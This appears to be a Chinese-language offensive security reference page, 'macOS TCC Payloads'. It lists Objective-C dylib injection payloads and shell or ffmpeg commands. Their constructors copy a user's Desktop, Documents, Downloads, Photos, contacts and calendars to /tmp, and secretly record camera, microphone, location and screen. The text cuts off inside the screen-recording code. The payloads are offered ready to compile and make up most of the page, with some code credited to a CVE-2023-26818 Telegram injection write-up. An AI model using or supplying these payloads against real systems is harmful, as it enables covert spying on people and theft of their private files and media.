macOS TCC Payloads

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桌面

• 授权: 无

• TCC: kTCCServiceSystemPolicyDesktopFolder

ObjectiveC

将 $HOME/Desktop 复制到 /tmp/desktop。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Shell

将$HOME/Desktop复制到/tmp/desktop。

cp -r "$HOME/Desktop" "/tmp/desktop"

文档

• 权限: 无

• TCC: kTCCServiceSystemPolicyDocumentsFolder

ObjetiveC

将$HOME/Documents复制到/tmp/documents。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Shell

将$HOME/Documents复制到/tmp/documents。

cp -r "$HOME/Documents" "/tmp/documents"

下载

• 权限: 无

• TCC: kTCCServiceSystemPolicyDownloadsFolder

ObjetiveC

将$HOME/Downloads复制到/tmp/downloads。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Shell

将$HOME/Dowloads复制到/tmp/downloads。

cp -r "$HOME/Downloads" "/tmp/downloads"

照片库

• 权限: com.apple.security.personal-information.photos-library

• TCC: kTCCServicePhotos

ObjetiveC

将$HOME/Pictures/Photos Library.photoslibrary复制到/tmp/photos。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Shell

将$HOME/Pictures/Photos Library.photoslibrary复制到/tmp/photos。

cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"

联系人

• 权限: com.apple.security.personal-information.addressbook

• TCC: kTCCServiceAddressBook

ObjetiveC

将$HOME/Library/Application Support/AddressBook复制到/tmp/contacts。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Shell

将$HOME/Library/Application Support/AddressBook复制到/tmp/contacts。

cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"

日历

• 权限: com.apple.security.personal-information.calendars

• TCC: kTCCServiceCalendar

ObjectiveC

将$HOME/Library/Calendars复制到/tmp/calendars。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Shell

将$HOME/Library/Calendars复制到/tmp/calendars。

cp -r "$HOME/Library/Calendars" "/tmp/calendars"

摄像头

• 权限: com.apple.security.device.camera

• TCC: kTCCServiceCamera

录制一个3秒的视频并保存在 /tmp/recording.mov 中

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}

检查程序是否具有访问摄像头的权限。

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to camera granted.");
return YES;
} else {
NSLog(@"[-] Access to camera denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
[CameraAccessChecker hasCameraAccess];
fclose(stderr); // Close the file stream
}

使用相机拍照

ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg

麦克风

• 权限: com.apple.security.device.audio-input

• TCC: kTCCServiceMicrophone

录制5秒音频并将其存储在 /tmp/recording.m4a 中

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}

- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}

if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}

self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}

- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}

- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}

检查应用程序是否具有对麦克风的访问权限。

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib

@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to microphone granted.");
return YES;
} else {
NSLog(@"[-] Access to microphone denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
[MicrophoneAccessChecker hasMicrophoneAccess];
}

录制一段5秒的音频并将其存储在 /tmp/recording.wav 中。

# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav

位置

要获取位置信息，必须启用位置服务（来自隐私与安全），否则应用程序将无法访问位置信息。

• 授权: com.apple.security.personal-information.location

• TCC: 已授予在 /var/db/locationd/clients.plist 中

ObjectiveC

将位置信息写入 /tmp/logs.txt

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;

[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];

NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

Shell

获取访问位置权限

???

屏幕录制

• 权限: 无

• TCC: kTCCServiceScreenCapture

在 /tmp/screen.mov 中录制主屏幕 5 秒。

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections